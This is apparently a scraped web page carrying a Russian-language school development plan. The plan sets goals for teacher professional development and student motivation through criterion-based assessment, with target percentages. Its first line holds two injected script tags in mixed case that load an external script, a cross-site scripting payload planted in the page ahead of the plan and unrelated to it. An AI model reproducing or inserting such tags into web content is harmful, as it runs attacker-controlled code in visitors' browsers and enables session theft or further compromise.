<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

План развития школы.

Проблема школы:    Снижение  мотивации учащихся.

Тема: применение критериального оценивания  для повышения мотивации к обучению учащихся.

Модуль:  «Новые подходы в преподавании и обучении».

Приоритет: Улучшение процесса преподавания и обучения через профессиональное развитие учителей.

Стратегическая цель: Повысить профессиональное развитие учителей посредством внедрения идеи 7 модулей Программы.

SMART цели:  - учителя осознают важность профессионального развития;

- учителя научатся преобразовывать общую цель урока в систему знаний и умений, которыми должен овладеть ученик на уроке, научатся ставить смарт  цели;

- учителя используют  рамки учебного процесса для  внедрения  и  применения   новых подходов и методов в процессе преподавания своего предмета, становятся мыслящими  практиками;

- педагогический коллектив сможет применять приемы критического мышления   при проведении уроков для повышения качества обучения, мотивации;

- родители будут оказывать поддержку учащимся в обучении;

Ожидаемые результаты: - 100% учителей будут информированы о новых тенденциях в образовании; узнают о требовании к компетенциям предъявляемым к педагогическим работникам;

-50% учителей усовершенствовали свое профессиональное развитие;

- 80% учителей узнали о методах и подходах 7 модулей, понимают их сущность;

- 30% учителей демонстрируют применение методов и подходов 7 модулей и LESSON STUDY в школьной практике;

- 30% учителей вовлечены в работу профессиональных сетевых сообществ;

-создание комфортной среды и позитивного настроения учащихся;

- на 5 % повысится качество обучения по всем предметам;

-привлечение учащихся к работе по активизации учебной деятельности;

- 43% родителей окажут поддержку учащимся в обучении.